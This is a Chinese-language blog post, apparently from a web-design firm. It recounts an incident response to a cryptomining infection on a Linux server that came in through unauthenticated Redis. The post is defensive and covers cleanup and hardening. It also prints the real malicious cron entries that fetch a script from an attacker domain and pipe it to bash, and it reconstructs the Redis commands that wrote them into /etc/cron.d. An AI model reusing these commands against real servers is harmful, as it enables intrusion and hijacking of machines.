服务器被挖矿病毒入侵的排查与清理实录

发布时间:2026/10/8 23:48:33
服务器被挖矿病毒入侵的排查与清理实录 Linux 服务器被挖矿病毒入侵的排查与清理实录根因Redis 未授权访问一次真实的挖矿病毒应急响应记录crontab 里出现陌生任务、ps/top被篡改、Redis 端口被pnscan持续扫描。本文完整还原入侵链路、清理步骤和加固方案。⚠️警告文中出现的域名、脚本均为病毒指标IOC仅供分析学习切勿访问或执行。一、入侵现场三个可疑迹象排查一台行为异常的服务器时发现了三个明显的入侵迹象。迹象 1crontab 里出现陌生任务/etc/cron.d/下多了一个陌生文件zzh同时/etc/crontab也被写入了内容。打开文件一看开头是一段二进制乱码中间夹着几行 cron 任务$ cat /etc/cron.d/zzh REDIS0008ú redis-ver^E4.0.2ú redis-bitsÀú^EctimeÂGútbú^Hused-memÂH9e^L^ú^Nrepl-stream-dbÀÿú ^^Gbackup3o */4 * * * * root echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg|base64 -d|bash|bash ^^Gbackup1l */2 * * * * root echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash ^^Gbackup2w */3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo|base64 -d|bash|bash注意三个细节文件开头是Redis RDB 文件的二进制头REDIS0008、redis-ver 4.0.2——这直接暴露了入侵方式后文详解三条 cron 任务分别每 2、3、4 分钟执行一次——这就是杀掉恶意进程它马上复活的原因命令全是echo base64|base64 -d|bash的形式——用编码伪装真实载荷。迹象 2ps、top 等系统命令行为异常用ps、top查看进程时输出和预期对不上——系统命令本身已被病毒替换用来隐藏恶意进程。这也是这类挖矿家族的常见手法先篡改你的眼睛再放心挖矿。迹象 3Redis 端口持续被 pnscan 访问Redis 端口上一直有个叫pnscan的进程在活动而且进程 PID 一直在变——因为 cron 每 2~4 分钟重新拉起一次。pnscan是一个端口扫描工具说明这台机器不仅在被挖矿还在作为肉鸡对外扫描传播。二、分析恶意载荷base64 解码把 cron 里的三段 base64 解开看看在隔离的分析环境中操作不要在中毒机器上直接执行$ echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg | base64 -d curl http://oracle.zzhreceive.top/b2f628/b.sh $ echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK | base64 -d cd1 http://oracle.zzhreceive.top/b2f628/b.sh $ echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo | base64 -d wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh三条命令指向同一个地址用 curl/wget 下载b.sh并直接交给 bash 执行。b.sh就是真正的恶意脚本下载挖矿程序、释放 pnscan 扫描器、替换系统命令。顺带一提看到echo xxx|base64 -d|bash这种形态的定时任务基本可以直接判定为恶意——正常业务没有人这样写 cron。三、入侵链路还原Redis 未授权访问 → RDB 写入 cron为什么 cron 文件开头会有一段 Redis RDB 的二进制头这暴露了完整的入侵路径。这台服务器的 Redis4.0.2暴露在公网且无密码攻击者的利用过程# 1. 扫描器扫到公网上的 6379 端口直接连入无需认证 redis-cli -h 受害机IP # 2. 利用 Redis 的持久化机制把 RDB 文件写到 cron 目录 config set dir /etc/cron.d/ config set dbfilename zzh set backup1 \n\n*/2 * * * * root echo base64载荷|base64 -d|bash|bash\n\n save # 3. cron 生效定时下载并执行恶意脚本原理Redis 的 RDB 快照文件就是内存数据的序列化 dump。攻击者把恶意 cron 命令作为 value 写进 Redis再把持久化目录指到/etc/cron.d/、文件名设为zzh一次save之后RDB 文件带着二进制头和恶意命令就落在了 cron 目录里。cron 解析文件时会跳过无法解析的行只在日志里报错但会正常执行其中格式合法的行——二进制乱码不影响那几行恶意任务生效。文件里残留的backup1o、redis-ver 4.0.2等字段就是 RDB 里 key/value 结构留下的痕迹。至此入侵链路完整了公网扫描发现 6379 未授权 ↓ Redis 写入恶意 key 修改持久化路径 ↓ RDB 落盘到 /etc/cron.d/zzh持久化 ↓ cron 每 2~4 分钟拉起恶意脚本 ↓ 下载挖矿程序 pnscan 对外扩散 篡改 ps/top 隐藏自身四、清理步骤顺序很重要核心原则先断持久化再杀进程。顺序反了就会陷入杀掉→2 分钟后复活的打地鼠循环。4.1 先隔离机器摘掉公网流量或安全组先封 6379 入口和恶意域名的出口方向这一步既防止清理过程中被二次写入也避免 pnscan 继续对外扫描对外扫描可能招来云厂商封机甚至投诉。4.2 清除持久化入口# 检查所有可能的 cron 位置crontab-l-urootls-la/etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/# 删除恶意文件清理 /etc/crontab 中被插入的行rm-f/etc/cron.d/zzh# 找出近期被修改过的定时任务文件防止漏掉find/etc/cron* /var/spool/cron-typef-mtime-74.3 定位并杀掉恶意进程本机的ps/top已被篡改不能信任换替代手段# 方法1用 busybox静态编译未被篡改busyboxpsaux|egreppnscan|zzh|miner|kworkerds# 方法2直接遍历 /procls-l/proc/*/exe2/dev/null|egrep-v/usr/|/lib/|/bin/|/sbin/# 找到后强杀kill-9恶意进程PID同时删除恶意文件的落盘位置这类家族常见藏身处ls-la/tmp/ /var/tmp/ /dev/shm/# 重点看隐藏目录名字带点的4.4 检查其他持久化项这类病毒经常顺手加多条后路逐项排查# SSH 后门公钥cat/root/.ssh/authorized_keys# 自启动项ls-l/etc/systemd/system/ /usr/lib/systemd/system/|head-50cat/etc/rc.local systemctl list-unit-files--stateenabled|grep-vmulti-user发现陌生的条目一律删除。4.5 修复被篡改的系统命令# 校验系统包完整性被改过的文件会列出来rpm-Vprocps# CentOS/RHELdpkg-Vprocps# Debian/Ubuntu# 重装或从同版本的干净机器上拷贝 ps/top 等命令yum reinstall procps-y4.6 加固 Redis根因不除半小时后被再次入侵这次被入侵的根因就是 Redis 裸奔在公网清理完必须立刻加固# redis.conf bind 127.0.0.1 # 只监听本地确需内网访问就绑内网 IP requirepass 强密码 # 设置密码 rename-command CONFIG # 禁用危险命令CONFIG/FLUSHALL/FLUSHDB 按需 rename-command FLUSHALL 配套措施云安全组/防火墙彻底封死 6379 对公网这是最重要的一条不要用 root 跑 Redis单独建低权限用户升级 Redis 版本这台机器当时还在跑 4.0.2。4.7 复查# 装个 rootkit 检测工具扫一遍yuminstall-yrkhunterrkhunter--check# 观察 1~2 天确认 cron 目录没有再被写入新文件watch-n60ls -l /etc/cron.d/ /etc/crontab如果 Redis 没加固就上线业务大概率几天后/etc/cron.d/又会出现新文件——扫描器是全自动的它们不会放过任何一个开放端口。五、复盘环节攻击动作我们的失误对应修复入口扫描公网 6379Redis 无密码暴露公网安全组封端口 requirepass持久化RDB 写 /etc/cron.d/目录可被 Redis 进程写入非 root 运行 Redis 禁 CONFIG载荷cron 每 2~4 分钟下载脚本发现不及时主机侧告警异常 crontab 写入隐藏篡改 ps/top缺少文件完整性校验定期rpm -V校验关键包扩散pnscan 对外扫描出网无管控出口防火墙限制几条可复用的经验Redis 未授权访问 ≠ 只丢数据。以 root 运行时它约等于把机器 root 权限送出去——RDB 写 cron 只是众多利用姿势之一写 SSH key、写 LD_PRELOAD 同样常见应急响应先断持久化再杀进程否则永远在打地鼠中毒机器上的命令不可信busybox 和/proc是底线工具清理必须连根入口Redis、持久化cron/自启动/SSH key、载荷恶意文件、善后被篡改的系统命令漏一个都会复发乱码文件里的有效行是个经典盲区cron 会跳过解析失败的行、执行合法行攻击者正是利用这一点把恶意任务藏进 RDB 二进制里。参考资料一次挖矿病毒的分析CSDN服务器被植入挖矿病毒处理CSDNRedis 未授权访问漏洞利用博客园crontab 隐藏挖矿进程排查CSDN

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询